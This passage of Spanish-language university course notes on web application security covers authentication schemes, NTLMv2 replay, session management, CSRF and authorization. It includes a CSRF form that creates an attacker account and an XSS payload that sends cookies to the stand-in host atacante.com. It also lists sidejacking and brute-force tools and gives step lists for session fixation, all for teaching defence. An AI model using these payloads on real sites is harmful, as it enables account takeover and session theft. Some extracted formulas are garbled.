» Redes privadas virtuales (VPN,s) implementadas mediante varios protocolos: IPSEC,
L2TP, PPTP, etc.
» Public Key Infraestructure (PKI) necesaria para administración de certificados
digitales para su uso en las tareas de autenticación, firma y cifrado de datos. Estas son
necesarias para asegurar las características de no repudio, integridad y
confidencialidad de los datos dentro de los protocolos anteriormente indicados.
Además hay que pensar en otras protecciones como firewalls que filtran el tráfico de
red para prevenir ataques protegiendo el acceso a determinados puertos y prohibiendo
el acceso a otros además de gestionar el número de conexiones a la aplicación.

Seguridad de las instalaciones
Además de diseñar, implementar, probar, comprobar o auditar la seguridad de los

sistemas de información es necesario que las instalaciones donde se ubican sean las
adecuadas y para ello es necesario derivar los requisitos de seguridad de las
instalaciones de acuerdo con el tipo de sistema que van a albergar. Posteriormente se
deben modelar las características de las instalaciones de acuerdo con los requisitos de
seguridad en el análisis de riesgos del sistema para verificar que son las adecuadas. Estas
actividades son las dos primeras prácticas de seguridad que hay que realizar dentro del
esquema del ciclo de vida de desarrollo seguro de sistemas (SSDLC).
Los centros de proceso de datos han de diseñarse normativas como TIA 942, EN-
1047 TIER, ISO 27001 para la instalación eléctrica, seguridad, etc. han de estar
dotados de servicio de alimentación ininterrumpida y unidad de puesta en servicio.
La instalación de los equipos de seguridad del CPD ha de incluir control de accesos

automático o mediante vigilantes de seguridad, cámaras de vigilancia, volumétricos, etc.
Los aspectos a tener en cuenta a la hora de diseño de un CPD son:
» Objeto.
» Características arquitectónicas.
» Subsistema eléctrico.
» Subsistema de detección y extinción de incendios.
» Subsistema de racks, canalización y cableado estructurado.
» Subsistema de seguridad y control de accesos.
» Subsistema de monitorización y gestión de infraestructura.
» Subsistema de iluminación.
» Subsistema de infraestructura dedicada.
» Formación.
Seguridad del personal
Por otro lado es necesario que todo el personal que está relacionado con los
sistemas tenga la formación en concienciación de seguridad necesaria para
evitar fugas de información que puedan comprometer el sistema.

De la forma más inverosímil un sistema puede verse comprometido debido a descuidos

en el personal y los altos costes que implica implementar la seguridad en todos los
aspectos, comunicación, servidores, sistemas operativos, etc. no habrán servido de nada.
Por ejemplo, descuidos en la custodia de passwords, credenciales, documentación del

sistema, información de la organización pueden hacer estéril el esfuerzo económico en
proporcionar la seguridad adecuada al sistema.
Hay que tener en cuenta el concepto de «ingeniería social» que es una técnica mediante
la cual alguien bien entrenado puede obtener información ventajosa acerca del sistema
u organización, utilizando métodos tan simples como efectuar llamadas telefónicas a
empleados determinados haciéndose pasar por otra persona.
Para evitar este problema es preciso organizar una formación, supervisión y evaluación
periódica en aspectos de concienciación de la importancia de la seguridad a todos los
niveles para conseguir los objetivos de la organización.
Seguridad en la documentación
La documentación de una organización puede contener información relevante con

respecto a los sistemas de información y comunicaciones de la organización y la
información que estos manejan y por tanto hay que protegerla y recoger en la política de
seguridad las medidas organizativas necesarias para asegurar el almacenamiento y uso
de la documentación.
La documentación debe clasificarse en distintos niveles y debe estar organizada en

niveles de seguridad de acuerdo al grado de confidencialidad que tenga. El acceso del
personal a la documentación estará en función de si una persona concreta tiene la
habilitación de seguridad para consultar una información concreta, de acuerdo a su
grado de clasificación y a la «necesidad de conocer» de esa persona de acuerdo con su
función dentro de la organización.

3.3. Seguridad en el diseño de las aplicaciones web
Para derivar un diseño de la arquitectura de seguridad completo y eficaz de una

aplicación web es necesario tener en cuenta guías de diseño seguro como:
» OWASP Application Security Verification Standard Project.

» OWASP Secure Application Design Project.
» OWASP Proactive Controls 2016.
» OWASP Secure Coding Practices - Quick Reference Guide.
» OWASP Cheat Sheet Series.
» OWASP Enterprise Security API.
» OWASP Developer guide.
https://www.owasp.org/images/b/b2/OWASP_Development_Guide_2.0.1_Spanish.pdf
» OWASO Testing guid.
OWASP Proactive Controls 2016

(https://www.owasp.org/images/9/9b/OWASP_Top_10_Proactive_Controls_V2.pdf),
es un proyecto que resume en 10 puntos las principales cuestiones de diseño de la
seguridad de las aplicaciones web:
1. Verificación de seguridad temprana.

2. Parametrización de consultas.
3. Codificación de datos.
4. Validación de todos los datos de entrada.
5. Implementación de controles de identidad y autenticación.
6. Implementación de control de acceso a los recursos.
7. Protección de datos.
8. Implementación de registro y detección de intrusiones.
9. Utilización de Frameworks.
10. Manejo de errores y excepciones.

El control de acceso en aplicaciones web tiene tres fases:
Fases del control de acceso
Un control de acceso a aplicaciones web requiere de un diseño y de una implementación

segura de cada una de las fases. Por sus características las aplicaciones web utilizan el
protocolo http con una serie de problemáticas (ver apartado 3.1) que hay que superar
desde el punto de vista de la seguridad.
Autenticación
Su función es identificar al usuario de la aplicación para acceso restringido a zonas o

datos sensibles y privados en la app-web. El objetivo final es tener controles de acceso
granulares por usuario (o grupo). Tipos:
» Autenticación básica (basic) – HTTP.

» Autenticación digest – HTTP.
» Autenticación integrada en dominio (directorio activo).
» SSL-TLS Certificados digitales cliente (https 443).
» Autenticación de múltiples factores.
» Autenticación desde la aplicación web (basada en formularios).
Autenticación básica (basic) – HTTP Su documento referencia es el RFC 2617.

Configurable en los servidores web y de aplicaciones se basa en autenticación por usuario
y contraseña enviada en la cabecera de los mensajes HTTP. Cada petición con el método
GET incluye las credenciales que son almacenadas en el historial y caché del navegador,
constituyendo un serio peligro de revelación de información.

Hay que proteger la comunicación con TLS para evitar ataques de repetición y
exposiciones inseguras. Codificar las credenciales en base 64 no es cifrar y son fácilmente
decodificables. Si un servidor web está configurado con autenticación básica responde
con un mensaje http como el de las figuras siguientes.
Proceso autenticación básica

Autenticación: digest. (RFC2617 – http 1.1 challenge/response) Utiliza firma (hash)
criptográfica: MD5. Similar a autenticación básica, ofrece protección frente a reenvío
(replay) mediante parámetros enviados en la cabecera como son el nonce aleatorio y
debe caducar en el tiempo y el número de petición.
Igualmente que, con autenticación básica, se debe emplear TLS para proteger la
comunicación. Si un servidor web está configurado con autenticación digest responde
con un mensaje http como el de la figura siguiente.

Proceso autenticación básica
Autenticación HTTP (básica – digest): cuestiones de seguridad
» La autenticación basic es muy insegura.

» Man in the middle  sniffering.
» Man in the middle HTTP-PROXY interceptador.
» Ataques de repetición una vez capturada una petición.
» Se pueden configurar múltiples esquemas de autenticación. Si se requiere seguridad
 solamente digest.
» La seguridad autenticación digest depende de la implementación de creación de los
parámetros CNONCE, NONCE de la cabecera HTTP.
Autenticación en dominio. Configurable a través de Windows active directory o

Linux open ldap mediante protocolo NTLMv2 o KERBEROS, son esquemas de seguridad
diseñados para un dominio en Intranets, no siendo común en Internet. En este de
implementación las credenciales residen en el repositorio del directorio activo que hay
que proteger, a su vez, de accesos indebidos.

» NTLM es un protocolo que se basa en los mismos conceptos que Digest, envía dos
respuestas a un desafío de servidor de 8 bytes. Cada respuesta contiene un hash
HMAC-MD5 de 16 bytes del desafío de servidor, un desafío de cliente generado al azar,
completamente aleatorio y un hash HMAC-MD5 de la contraseña del usuario y otra
información de identificación. Las dos respuestas difieren en el formato del desafío
del cliente. La respuesta más corta utiliza un valor aleatorio de 8 bytes para este
desafío. Para verificar la respuesta, el servidor debe recibir como parte de la respuesta
el desafío del cliente. Para esta respuesta más corta, el desafío de cliente de 8 bytes
añadido a la respuesta de 16 bytes hace un paquete de 24 bytes que es coherente con
el formato de respuesta de 24 bytes del protocolo NTLMv1 anterior. En ciertas
documentaciones no oficiales (por ejemplo, DCE/RPC sobre SMB, Leighton) esta
respuesta se denomina LMv2.
La segunda respuesta enviada por NTLMv2 usa un desafío de cliente de longitud

variable que incluye:
o La hora actual en formato de hora NT.

o Un valor aleatorio de 8 bytes.
o El nombre de dominio.
o Datos.
La respuesta debe incluir una copia de este desafío del cliente, y por lo tanto es de
longitud variable. En la documentación no oficial, esta respuesta se denomina NTv2.

Autenticación NTLMv2.
Autenticación NTLMv2.

» Ataques que puede sufrir el protocolo NTLMv2:
o Ataques de repetición pasivos.

o Ataques de repetición activos.
o Predicción activa de desafíos.
A continuación, se presenta la secuencia de un ataque de repetición activo debido

que el protocolo repite los desafíos periódicamente:
1. En un primer paso el atacante realiza intentos de conexión y obtiene valores nonce

que guarda para utilizar después.
2. El atacante hace que el usuario se conecte a él mediante el envío de un mail que

contiene un enlace a su sitio web. El usuario se conecta al servidor del atacante y
éste le envía al usuario los desafíos obtenidos en el primer paso y anota las
respuestas.
3. El atacante intenta conectarse a la máquina del usuario esperando que se repita

alguno de los desafíos obtenidos en el paso uno cuyas respuestas obtuvo en el paso
2. Cuando se repite un desafío el atacante estará en condiciones de autenticarse en
la máquina del usuario porque tiene la respuesta.
Autenticación NTLMv2. Ataque paso 1.


Autenticación single sing on. Permite accesos a múltiples sitios, válidos tanto para
Intranets como para Internet:
» Google Accounts youtube, Gmail, Google talk …

» Facebook  CNN, Vimeo …
Un problema que tienen es que constituyen un único punto de fallo. El robo de

contraseñas implica el acceso a todos los sitios que comparten el sistema de
autenticación.
OpenID Connect, es un protocolo de autenticación interoperable basado en la familia de

especificaciones OAuth 2.0. OpenID Connect, permite a los desarrolladores autenticar a
sus usuarios a través de sitios web y aplicaciones sin tener que poseer y administrar
archivos de contraseñas. Para el generador de aplicaciones, proporciona una respuesta
verificable y segura a la pregunta: ¿Cuál es la identidad de la persona que utiliza
actualmente el navegador o la aplicación nativa que está conectada conmigo?, OpenID
Connect permite clientes de todo tipo, incluyendo JavaScript basado en navegador y
aplicaciones móviles nativas, lanzar flujos de inicio de sesión y recibir afirmaciones
verificables sobre la identidad de los usuarios registrados. Se apoya en AUTH2.0 como
servicio de autorización de acceso a los recursos.
Autenticación: TLS (https). Permite, además de autenticar, cifrar la comunicación

mediante protocolos híbridos de seguridad como son TLS.
Permiten dos modalidades de autenticación:
» Certificados digitales en cliente y servidor.

» Únicamente de servidor.
Cuando el cliente suministra un certificado personal y el servidor está configurado para

ello, el servicio también autentica al cliente comprobando su certificado. El cliente debe
comprobar el certificado de servidor asegurándose que realmente está generado por la
autoridad de certificación de la organización que suministra el servicio. Constituye unas
de las opciones más seguras si se implementa correctamente. Para su implementación se
requiere de una Public Key Infraestructure (ej. DNIe).

En ocasiones se protege solamente en la autenticación y no durante el resto de la sesión.

Lo que da lugar a ataques de secuestro de sesión. Una herramienta que se puede utilizar
para captura de sesiones inseguras es Firesheep (http://codebutler.com/firesheep).
Otras herramientas como BlackSheep (http://www.zscaler.com/blacksheep.php) sirve
para detectar Firesheep en Firefox instalada como una add extension. Conclusión: se
debe cifrar toda la sesión.
La renegociación SSL/TLS iniciada por cliente puede dar lugar a ataques de denegación
de servicio DoS. Las conexiones SSL/TLS con renegociación, requieren de 10-35x más
de rendimiento en el servidor. Solución: Reverse ssl
(http://vincent.bernat.im/en/blog/2011-ssl-dos-mitigation.html#putting-more-work-
on-the-client-side) (https://eprint.iacr.org/2006/212.pdf) (carga en cliente). Otras
técnicas de mitigación pasan por:
» Disabling SSL renegotiation.

» Rate limiting SSL handshakes.
» Increasing server-side power processing.
» Putting more work on the client side.
Ataques al protocolo TLS del tipo Man In The Middle (MITM) (Generación de
certificados) se pueden llevar a cabo mediante herramientas como sslsnif
(http://www.thoughtcrime.org/software/sslsniff/). Está diseñada para MITM de todas
las conexiones TLS en una LAN y genera dinámicamente certificados para los dominios
a los que se tiene acceso sobre la marcha. Los nuevos certificados se construyen sobre
una cadena de certificados que están firmados por algún certificado que el usuario
proporciona.

Autenticación de doble factor. Se denominan así a los sistemas de autenticación que

emplean más de un mecanismo de autenticación.
Autentificación de dos factores:

» Algo que sabes: contraseña o PIN.
» Algo que tienes: token, smart-card que generan criptográficamente un código a
intervalos fijos basados en una semilla única para cada token.
» Además requieren un PIN.
Autenticación de múltiples (tres o más) factores. Además  Algo que eres: huella
dactilar, retina ojo, cara, etc.
Autenticación desde la aplicación web (ver figuras ). No hace uso de las cabeceras,
está basada en formularios utilizando método POST, donde se introducen el usuario y la
contraseña y a continuación se envían a la aplicación, donde se valida accediendo a la
base de datos de credenciales que puede ser un SGBD, RADIUS, fichero, etc. Si es válida
la comprobación se devuelve al usuario una indicación de éxito junto con un ID de sesión
como puede ser un cookie cuyas características y aspectos de seguridad se pueden
consultar en el apartado siguiente y que se utilizará para todas las subsiguientes
peticiones a la aplicación durante el tiempo permitido o hasta que se ejecute un logoff.
Autenticación desde aplicación web

Autenticación desde aplicación web, respuesta después de autenticación válida desde la aplicación
Se puede autenticar en cada petición o implementar gestión de sesiones (ID de sesión o

token que representa las credenciales de autenticación e identifica la sesión del usuario).
No importa cómo de avanzado es el método de autenticación o las credenciales, se

convierten en el ID de sesión. Por tanto, se debe aplicar autenticación:
» Cuando los derechos de acceso del usuario cambian.

» Con las peticiones a datos o funcionalidades protegidas.
» Cuando se accede a un recurso de terceros.
» La aplicación debe validar los ID,s de sesión.
» Se debe combinar con https con certificado de cliente.
Ataques a la autenticación. Además de ataque tipo man in the middle mediante

sniffering, proxy interceptador y ataques de repetición, se pueden efectuar ataques de
descubrimiento de contraseñas del tipo de fuerza bruta
(http://www.hoobie.net/brutus/) (http://freeworld.thc.org/thc-hydra/) o basadas en
diccionario. Pueden ataques online u offline si se tiene acceso al almacén de contraseñas.

Autenticación. Lista de comprobación. Aspectos a tener en cuenta para

implementar una autenticación segura:
» Identificar datos y funcionalidades a proteger (datos personales, cuentas, filiaciones,

fichas médicas, transferencias, etc.).
» Identificar dentro del código dónde debería tener lugar la autenticación.
» Usar contraseñas fuertes (>12 16 caracteres)  mayúsculas-minúsculas, números,
símbolos…
» HASH + SALT (append al de la hash contraseña) SALT: pieza de información que se
añade a la entrada una función hash para combinarla con la password y añadir
dificultad de ataques contra el almacenamiento de hashes. Se suele almacenar como
prefijo o sufijo a la password. Debido a que la longitud de SALT es conocida, no existe
problema en la verificación de la password suministrada por el usuario.
» Reseteo de contraseñas ante fallos de autenticación.
» Tiempo máximo de expiración.
» CAPTCHAs (ataques de fuerza bruta).
» Permitir deshabilitar cuentas.
» Deshabilitar cuentas por defecto.
» Evitar recordar password  establece periodos de tiempo largos en cookies.
Es importante resaltar la importancia de combinar los métodos de autenticación

anteriores para conseguir el mayor grado de seguridad posible adaptando el diseño a
cada caso particular.
Es importante añadir a cualquier método HTTS mediante TLS con

autenticación de cliente teniendo en cuenta también las implicaciones de
rendimiento que tienen y que pueden dar lugar a denegaciones de servicio.

Es conveniente aplicar https a toda la sesión, no solo a la fase de

autenticación. En la siguiente figura se presenta un cuadro resumen de los métodos
de autenticación principales:
Resumen de métodos de autenticación

Gestión de sesiones
Un ID de sesión normalmente se asigna después de la autenticación del usuario a la

aplicación según el siguiente esquema de generación de los ID de Sesiones:
Generación ID de sesión
Muchos de los problemas de seguridad que tienen las aplicaciones web introducidos en
el apartado 1 son debidos al protocolo HTTP relacionados con el mantenimiento del
estado de la sesión.
» Ordenamiento de peticiones. En sistemas mal diseñados los atacantes pueden

usar las peticiones fuera del orden normal para evitar la lógica de aplicación. HTTP es
sin estado y no proporciona además un modo de hacer cumplir que las peticiones se
atiendan en un orden particular, por lo que los atacantes pueden hacer peticiones en
cualquier orden. Este hecho es ventajoso para los atacantes y las peticiones deberían
llegar en el orden que se espera.
» Procedencia de peticiones HTTP. Una aplicación web que usa cookies de sesión
debe tomar precauciones especiales para asegurar que un atacante no pueda engañar
a usuarios enviando falsas peticiones.

Se puede imaginar una aplicación web en sitio.com que permite a los administradores
crear nuevas cuentas enviando este formulario:
<form method="POST" action="/new_user" >

Name of new user: <input type="text" name="username">
Password for new user: <input type="password" name="user_passwd">
<input type="submit" name="action" value="Create User"> </form>
Un atacante podría preparar un sitio web con lo siguiente:
<form method="POST" action="http://www.sitio.com/new_user">

<input type="hidden" name="username" value="hacker">
<input type="hidden" name="user_passwd" value="hacked">
</form>
<script>
document.usr_form.submit();
</script>
Si un administrador de sitio.com visita la página malévola teniendo una

sesión activa en la aplicación sin ser consciente de ello, creará una cuenta para el
atacante, constituyendo un ataque cross-site request forgery que falsifica una
petición. Esta petición es posible porque la aplicación no tiene modo de determinar la
procedencia de la petición, podría ser una acción legítima escogida por el usuario o una
acción falsificada preparada por un atacante.
Si el atacante no consigue ver la página web que la petición falsa genera, esta técnica es
útil solo para peticiones que cambian el estado de la aplicación. La mayoría de
los navegadores web envían una cabecera HTTP llamada referer con cada petición.
La cabecera referer, como se supone, contiene el URL de la página a que se refiere pero
los atacantes pueden falsificarla y entonces la cabecera referer no es útil para determinar
la procedencia de una petición (forging http request headers). Las aplicaciones que
pasan el identificador de sesión en el URL y no un cookie no tienen este problema porque
no hay ninguna forma de que el atacante tenga acceso al identificador de sesión válido e
incluirlo como la parte de la petición falsa.

Para las aplicaciones que usan cookies de sesión el formulario debe incluir alguna
información para que el formulario de back-end pueda validar la procedencia de la
petición. Un modo de hacerlo es incluyendo un identificador de petición aleatorio en el
formulario, como en el ejemplo:
<form method="POST" action="/new_user" >

Name of new user: <input type="text" name="username">
Password for new user: <input type="password" name="user_passwd">
<input type="submit" name="action" value="Create User">
<input type="hidden" name="req_id"
value="87aeneofde3edfr343psdvkba7a1">
</form>
Entonces la lógica de back-end puede validar el identificador de petición antes del

tratamiento del resto de los datos del formulario. El identificador de petición puede
ser único en cada nuevo caso de un formulario o puede ser compartido a través
de cada formulario para una sesión particular.
» Mantener el estado en una sesión. HTTP no fue diseñado teniendo las

aplicaciones en mente. Si se han estado buscando más pruebas para apoyar esa
aserción, no buscar más. Como HTTP es sin estado, construir casi cualquier tipo de
aplicación sofisticada requiere un identificador de sesión que sirve para ambos
sentidos de la comunicación para asociar las peticiones previas de un usuario con las
siguientes. Los identificadores de sesión pueden ser pasados hacia adelante y hacia
atrás como parámetros URL pero hoy la mayor parte de las aplicaciones manejan
cookies.
La razón más común de usar un identificador de sesión es permitir a un usuario

autenticarse solo una vez para continuar con una serie de interacciones con la
aplicación. Esto quiere decir que la seguridad de la aplicación depende de ello, siendo
muy difícil para un atacante aprovechar el identificador de sesión para un usuario
autenticado. Una buena gestión de sesión HTTP escoge identificadores de sesión
fuertes y se asegura de que son publicados y revocados en puntos apropiados en el
programa.

Es importante tener en cuenta los puntos siguientes:
o La codificación de un interfaz de gestión de sesión es difícil. En la

mayoría de los casos es mejor seleccionar un contenedor de aplicación que ofrezca
facilidades de gestión de sesión adecuadas que crear sus propias facilidades de
gestión de sesión.
o Para los contenedores de aplicaciones web que permiten que la longitud de
identificador de sesión sea especificada en un archivo de configuración hay que
asegurarse de que el identificador de sesión contiene al menos 128 bits de
datos aleatorios e impedir a los atacantes secuestrar los identificadores de
sesión de los usuarios.
o Hacer cumplir un tiempo máximo de inactividad de la sesión y un tiempo de
vida de sesión máximo.
o Asegurarse de que el usuario tiene un modo de terminar la sesión.
o Asegurarse de que siempre que un usuario se autentique el identificador de
sesión actual es invalidado y uno nuevo se emite.
» Usar fuertes identificadores de sesión. La mejor apuesta para un sistema fuerte

y sin problemas que permita crear y gestionar identificadores de sesión es usar el
propio mecanismo que incorpora el contenedor de aplicación. Esto no es algo seguro.
No se debe confiar en el contenedor de aplicación hasta no haber confirmado la

longitud del identificador de sesión y la fuente de aleatoriedad que generan los
identificadores. Usar identificadores de sesión que incluyan al menos 128 bits de datos
generados por un generador de números aleatorios criptográficamente seguro. Un
identificador de sesión más corto deja la aplicación abierta a ataques de intentos de
adivinar el identificador de la sesión de fuerza bruta: si los atacantes pueden adivinar
el identificador de sesión de un usuario autenticado podrían ser capaces de asumir
la sesión del usuario.
El resto de esta explicación detalla una justificación de un identificador de sesión de

128 bits. Esta ecuación da el número esperado de segundos requeridos para adivinar
un identificador de sesión válido:
2 +1
2

Donde:
o B es el número de bits de entropía en el identificador de sesión.

o A es el número de conjeturas que un atacante puede intentar cada segundo.
o S es el número de los identificadores de sesión válidos que son válidos y están
disponibles para ser atacados en cualquier tiempo dado.
Una cota inferior del número de identificadores de sesión válidos disponibles que pueden
ser adivinados es el número de los usuarios que están activos en un sitio en cualquier
momento dado. Sin embargo, cualquier usuario que abandona sus sesiones sin
terminar una sesión (logout) aumentará este número. (Esto es una de las buenas
razones para tener un tiempo corto de interrupción de sesión inactiva.)
Ningún intento estandarizado existe para controlar la longitud del identificador de

sesión usado por un contenedor servlet. Para controlar la longitud de identificador de
sesión en BEA weblogic, la longitud del identificador de sesión es especificada con el
número de caracteres en el identificador. Cada carácter es una letra minúscula, una letra
mayúscula o un número, así hay 62 valores posibles para cada carácter. Para conseguir
128 bits pseudoaleatorios, el identificador debe contener al menos 22 caracteres
(128/log2 (62) = 21.5). La experimentación conduce a creer que los 3 primeros caracteres
son generados al azar, entonces BEA WebLogic tiene que configurarse creando los
identificadores de sesión con 25 caracteres de longitud.
» Usar timeouts de sesión y de inactividad de sesión. La limitación de la vida de

una sesión es una compensación entre la seguridad y la usabilidad. Desde un punto
de vista de conveniencia sería mejor que las sesiones nunca fueran terminadas.
Pero desde un punto de vista de seguridad, invalidar la sesión de un usuario

después de un período de interrupción protege al usuario y el sistema de los
modos siguientes:
o Limita el período de exposición para los usuarios que fallan en invalidar su sesión
terminando una sesión.
o Reduce el número medio de identificadores de sesiones válidos disponibles para
que un atacante los adivine.
o Hace imposible para un atacante obtener un identificador de sesión válido y luego
mantenerlo vivo indefinidamente.

» Comenzar una nueva sesión después de la autenticación. Generar siempre

una nueva sesión cuando un usuario se autentique, aunque exista un identificador
asociado con el usuario. Si los identificadores de sesión son suficientemente aleatorios
y largos es prácticamente imposible sufrir ataques. Pero si no se genera un nuevo
identificador cuando se autentica un usuario existe un riesgo potencial para un ataque
session fixation en el cual el atacante fuerza un identificador conocido de sesión a un
usuario.
En un intento genérico de session fixation un atacante crea una nueva sesión en una
aplicación web sin hacer login y registra el identificador de sesión asociado. El
atacante causa que la víctima se autentique contra el servidor usando el identificador
creado resultando en que el atacante gana el acceso a la cuenta de usuario a través de
la sesión activa. Imaginar el siguiente escenario:
o El atacante accede a un terminal público y navega hacia la página de login de

una aplicación web insegura que crea un cookie de sesión como parte del contenido
de la respuesta de la página de login.
o El atacante registra el cookie de sesión.
o Minutos más tarde la víctima se acerca al terminal y hace login.
o A causa de que la aplicación usa el mismo cookie de sesión originalmente creado
por el atacante, este sabe el identificador de sesión de la misma y puede tomar el
control de la sesión desde otra computadora.
Este escenario parece poco probable que se dé pero es más fácil el hecho de forzar un
identificador a un usuario para que pinche un enlace de una página web o a través de un
correo electrónico. Por ejemplo Apache tomcat permite especificar un identificador
de sesión como parámetro de una URL, si este valor existe para una sesión activa, Tomcat
comenzará usando la sesión con ese identificador de sesión.
Para limitar session fixation, una aplicación web debe crear un nuevo identificador de
sesión al mismo tiempo que un usuario se autentica.

Ejemplo de cookie protegida con los parámetros secure (solo https) y httponly para
prohibir su uso desde scripts:
Set-Cookie: id=012345; [sid=abcd;].

expires=Saturday, 1-April-13 23:59:59 GMT;
domain=unir.net;
path=/; secure; (solo HTTPS)
HttpOnly (no desde SCRIPTS)
A continuación explicamos el resumen de ataques a la gestión de sesiones:
» Revelación y captura de la sesión:
o Enlaces web, logs, navegador web, referer, buscadores (url: jsesssionid, url:
phpsessid).
o Ingeniería social.
o Captura (activo).
o Intercepción del tráfico de red (SSL/TLS) – MitM.
o Vulnerabilidades del navegador web.
o Robo del ID de sesión: XSS.
o Cross-Site Scripting (XSS): puede ser reflejado (no persistente) y almacenado
(persistente):
El atacante inyecta código HTML: sripts.
El script envía las cookies de la página actual al servidor del atacante:
<script>document.write=('<img
src="http://atacante.com/cookies.php?cookie= '+document.cookie+'" width="0"
height="0">')</script>
» Predicción y fuerza bruta de la sesión:
o Predicción del ID de sesión: ID de sesión no aleatorios. Adivinar el valor de un

ID de sesión válido. Análisis estadístico avanzado: ¿secuencial o patrón?
o Fuerza bruta del ID de sesión: ID de sesión corto. Matemática pura (haz los
números). Al menos monitorización. ¡Detectarlo mediante los logs!

» Secuestro de sesión (sidejacking):
o Suplantación de usuarios.
o Solo hace falta un ID de sesión válido.
o Recordar: ID de sesión=credenciales.
o Parámetros GET: ataques de replay triviales.
o Cookie: fijar las cookie en la memoria del navegador web (sesión) o fichero
(persistente).
o Herramienta de sidejacking:
Cookiemonster: http://fscked.org/projects/
Cookiemonster: https://code.google.com/archive/p/cookiemonster/
Hamster (y Ferret): http://hamster.erratasec.com/
The middle: http://inguardians.com/tools/middler-1.0.tgz
Surfjack: https://code.google.com/archive/p/surfjack/
Firesheep (Firefox add-on): http://codebutler.com/firesheep/
» Manipulación de ID de sesión:
o Proxy de intercepción y manipulación web (webscarab, burp, ZAP, etc.).

o Cualquier método (cookie, parámetro POST…).
o Cambiar la URL en el navegador web.
o (Auto) URL-rewriting (parámetro GET).
o URL path (también URL-rewritting).
o Guardar, cambiar y recargar la página (form).
o Campo HTML oculto (formularios HTML).
o Parámetro POST.
o Modificar el fichero de cookies persistentes.
o Manipulación de ID de sesión cookies de sesión: no persistentes (RAM):
Proxy de interceptación web.

Capacidades de edición de memoria en el navegador web (add-ons o
extensiones).
Cookies manager +(Firefox).
Cookie Spy (IE).
IECookies view (IE).

» Fijación de sesión (ver figura siguiente):
o Evaluar el seguimiento de sesiones antes y después de autentificación (y

comparar).
o Identificar el mecanismo de intercambio del ID de sesión (proxy de interceptación
web).
o Obtener un ID válido (pre/post autenticación).
o Fijar el ID simulando una posible víctima.
o Autenticarse en la aplicación web.
o Analizar la respuesta tras la autentificación.
Session Fixation
» Otros ataques web sobre la implementación de gestión de sesiones:
o SQLi: acceder a la DB de sesiones (back-end).

o XSS: inyectar scripts maliciosos.
o CSRF: sacar ventaja de la existencia de una sesión válida.

Identificadores de sesión: defensa (resumen):
» Absolute sesion timeouts.

» Idle session timeouts.
» Limiting session concurrency.
» Secure cookies.
» Http-only cookies.
» Cryptographic random 35esión ID,s.
» Eliminar invalidated sessions ID,s (server and client) o cookies.
» Usar cookies cifradas.
» Regenerar Session ID,s.
» Integridad  HMAC (si se usa un ID diferente los ataques de fijación de sesión no
tendrán éxito).
Autorización
» Objetivos del servicio de autorización:
o Asegurarse que los usuarios solo pueden realizar acciones dentro de su nivel de
privilegios.
o Controlar el acceso a los recursos protegidos usando un criterio basado en los roles
y privilegios asociados a los usuarios.
o Mitigar los ataques de escalada de privilegios que posibiliten acceder a usuarios a
tareas de administración o recursos no permitidos.
» Tipos de usuarios que pueden acceder a un sistema:
o Persona que accede a la aplicación.

o Aplicación web que accede a un servicio web.
o Aplicación web que accede al SGBD.
o Aplicación/servicio web/SGBD que accede al S.O.

» Tipos de recursos:
o Funcionalidad de la aplicación.
o Objetos en SGBD.
o Ficheros.
o Subredes.
Pueden ser codificados en URL: http://www.sitio.com/archivos/arch1.pdf
» Determinando el acceso. Una vez que el usuario se ha autenticado:
o Se determina el objeto al que quiere acceder.

o Se determina si la operación está permitida. En base a permisos, roles. ACL,
políticas, etc.
Esquema de acceso a una parte de la aplicación por parte de un usuario (figura siguiente):
Ejemplo de autorización
» Formas de control de acceso a los recursos:
o Discretionary access control (DAC)  propietarios objetos.

o Mandatory access control (MAC)  adm. Sistema.
o Role-based access control (RBAC).
o Sistemas híbridos:
RBAC + DAC (facebook: usuarios pueden configurar su seguridad en su muro).
MAC + DAC (IBM RACF z/os).

Vista vertical capas de una aplicación
» Vista vertical capas de una aplicación (figura anterior):
o Usuario.
o Aplicación.
o Middleware (Java RMI, corba, RPC…).
o Sistema operativo (sistema de ficheros, memoria).
o Hardware.
» Vista horizontal de las capas de una aplicación:
o Navegador web.
o Servidor web y/o servidor de aplicaciones.
o Sistema gestor de bases de datos.

» Navegador web: en aquellos navegadores que incorporan la arquitectura modular

(ver figura de arquitectura modular de Google Chrome) como Google Chrome se
permite que el componente HTML renderer se ejecute en una Windows sandbox
mediante un Windows restricted security token, mientras que el Kernel se ejecuta
con un User security token del sistema operativa. El componente HTML Renderer
hace llamadas al Kernel API para subida/descarga de ficheros. A destacar que
Windows sandbox (tampoco el S.O.) no comprueba los intentos de apertura de TCPIP
sockets. El esquema file:///... No es permitido por los componentes HTML
renderers.
Arquitectura modular de Google Chrome
» Servidor web, aspectos relacionados con la autorización:+
o Alojan contenido estático (también aplicaciones implementadas en lenguajes

interpretados PHP, Coldfusion, Python…).
o Puede ser necesario filtrar las peticiones entrantes en función de la subred de
procedencia (firewall). Whitelisting (mejor) o Blacklisting.
o Podría autenticar a los usuarios (autorización en caso PHP, etc.).
o Autorización a URL,s (ficheros de configuración especificando que usuarios o
grupos pueden acceder a que URL,s).

» Servidor de aplicaciones (J2EE, .NET), aspectos relacionados con la

autorización que se pueden implementar:
o IP white-black/listing.
o Autorización URL.
o Autenticación.
o Gestión de sesiones.
o Autorización.
o Facilidades framework.
OAuth: Google.
(https://developers.google.com/accounts/docs/OAuth2?hl=es)
BBAuth Yahoo.
o Desarrollo propio.
» ¿Cómo se puede realizar la comprobación de permisos Usuario  Recurso?

Básicamente de dos formas:
1. Aplicación: diseñando cadenas de consulta que acceden al sistema gestor

de bases de datos (SGBD). En este caso la aplicación realiza consultas dinámicas
al SGBD para averiguar si una petición tiene acceso a un recurso determinado.
2. Procedimientos almacenados. En este caso, la lógica de autorización reside

en el SGBD, por tanto, la aplicación no genera cadenas SQL reduciendo la
superficie de ataque. La aplicación llama a un procedimiento almacenado-
SGBD que realiza las consultas relativas al control de acceso de forma estática.
El objetivo es reducir toda la interacción entre aplicación y base de datos a un
conjunto de usuarios con los mínimos privilegios. Idealmente user role.

» Ejemplo genérico de control de acceso a recursos:
1. El usuario accede a aplicación  usurario + contraseña.

2. La aplicación llama a un procedimiento almacenado  comprobar las credenciales
del usuario.
3. La Aplicación hace una petición y llama a un procedimiento almacenado  se
comprueban los permisos asociados al usuario para determinar si se tiene acceso
al recurso de acuerdo con la información contenida en la matriz de control de
accesos ACL.
4. Si el usuario tiene los permisos (roles) asociados al recurso, se le concede acceso al
recurso.
» Ejemplo de control de acceso específico: JACC websphere IBM (J2EE).
Ejemplo de control de acceso específico

Fuente: http://www-
